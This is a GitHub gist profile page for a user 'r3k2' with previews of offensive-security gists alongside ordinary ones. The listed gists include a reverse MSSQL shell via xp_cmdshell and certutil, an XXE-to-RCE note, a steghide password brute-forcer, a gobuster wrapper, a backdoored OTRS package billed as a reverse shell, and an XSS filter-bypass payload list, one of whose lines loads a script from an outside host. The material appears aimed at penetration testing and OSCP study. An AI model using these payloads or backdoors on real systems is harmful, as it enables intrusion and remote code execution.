Skip to content

Instantly share code, notes, and snippets.

View r3k2's full-sized avatar
🏠
Personal code is on SourceHut sr.ht I do not push to github, only do 4 clients

CF_ReK2 r3k2

🏠
Personal code is on SourceHut sr.ht I do not push to github, only do 4 clients
120 followers · 67 following
View GitHub Profile
@r3k2
r3k2 / gist:0b3212f1ff8c3f5a63eed77823ff663c
Created May 20, 2021 23:42
.... there is more before this... but to big.
104965.818:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.818:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.818:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.818:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.818:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.818:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.819:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
104965.819:02f8:0304:trace:seh:NtQueryInformationThread (0x8c,0,0xb9e1e0,30,(nil))
@r3k2
r3k2 / NeoMutt colorschemes
Created January 25, 2019 19:45 — forked from darnir/NeoMutt colorschemes
# for background in 16 color terminal, valid background colors include:
# base03, bg, black, any of the non brights
# style notes:
# when bg=235, that's a highlighted message
# normal bg=233
# basic colors ---------------------------------------------------------
# color normal brightyellow default
color error color196 color235 # message line error text
@r3k2
r3k2 / mandros.py
Created June 5, 2018 20:49 — forked from xassiz/mandros.py
Reverse MSSQL shell
import sys
import requests
import threading
import HTMLParser
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
'''
Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
Author: @xassiz
'''
@r3k2
r3k2 / SuperGoBuster.sh
Last active June 9, 2018 13:30
SuperGoBuster
#!/bin/bash
set -eu
URL=$1
SECLIST="${HOME}/herramientas/diccionarios/SecLists/Discovery/Web_Content"
MIDDIR="/usr/share/dirbuster/directory-list-2.3-medium.txt"
declare -a FILES=("tomcat.txt" "nginx.txt" "apache.txt" "Top1000-RobotsDisallowed.txt" "ApacheTomcat.fuzz.txt" "sharepoint.txt" "iis.txt")
EXTENSIONS=("txt,php,doc,docx")
GOB="/bin/gobuster"
OUTPUT="${URL}-results"
@r3k2
r3k2 / gist:1f6f4afc2de1006de4e56e6e9a7d4b20
Created March 2, 2018 17:26 — forked from joernchen/gist:3623896
XXE to RCE
This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
into a Remote Command Execution:
NOTE: It relies on the PHP expect module being loaded
(see http://de.php.net/manual/en/book.expect.php)
joern@vbox-1:/tmp$ cat /var/www/server.php
<?
require_once("/usr/share/php/libzend-framework-php/Zend/Loader/Autoloader.php");
Zend_Loader_Autoloader::getInstance();
@r3k2
r3k2 / keybase.md
Created November 27, 2017 09:47

Keybase proof

I hereby claim:

  • I am rek2fernandez on github.
  • I am cfernandez (https://keybase.io/cfernandez) on keybase.
  • I have a public key ASDB2t5UcZyFOJ7JllgzK85TEJfktBx0ibpsCrPs6aacGQo

To claim this, I am signing this object:

@r3k2
r3k2 / StegBrute.rb
Last active November 22, 2017 11:21
Brute force steganography passwords
#!/bin/env ruby
# Hispgatos
# by ReK2, Fernandez Chris
# https://keybase.io/cfernandez
# Bruteforce password protected documents hidden inside images
# add you dictionary below to the dic variable
# of course you need to have installed steghide
require 'open3'
@r3k2
r3k2 / xxsfilterbypass.lst
Last active November 15, 2017 09:15 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@r3k2
r3k2 / how-to-oscp-final.md
Created October 11, 2017 05:15 — forked from unfo/how-to-oscp-final.md

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

@r3k2
r3k2 / MyPackage.opm
Created September 27, 2017 09:29 — forked from mgeeky/MyPackage.opm
OTRS OPM backdoored Package with Reverse Shell
<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
<Name>MyModule</Name>
<Version>1.0.0</Version>
<Vendor>My Module</Vendor>
<URL>http://otrs.org/</URL>
<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
<Description Lang="en">MyModule</Description>
<Framework>5.x.x</Framework>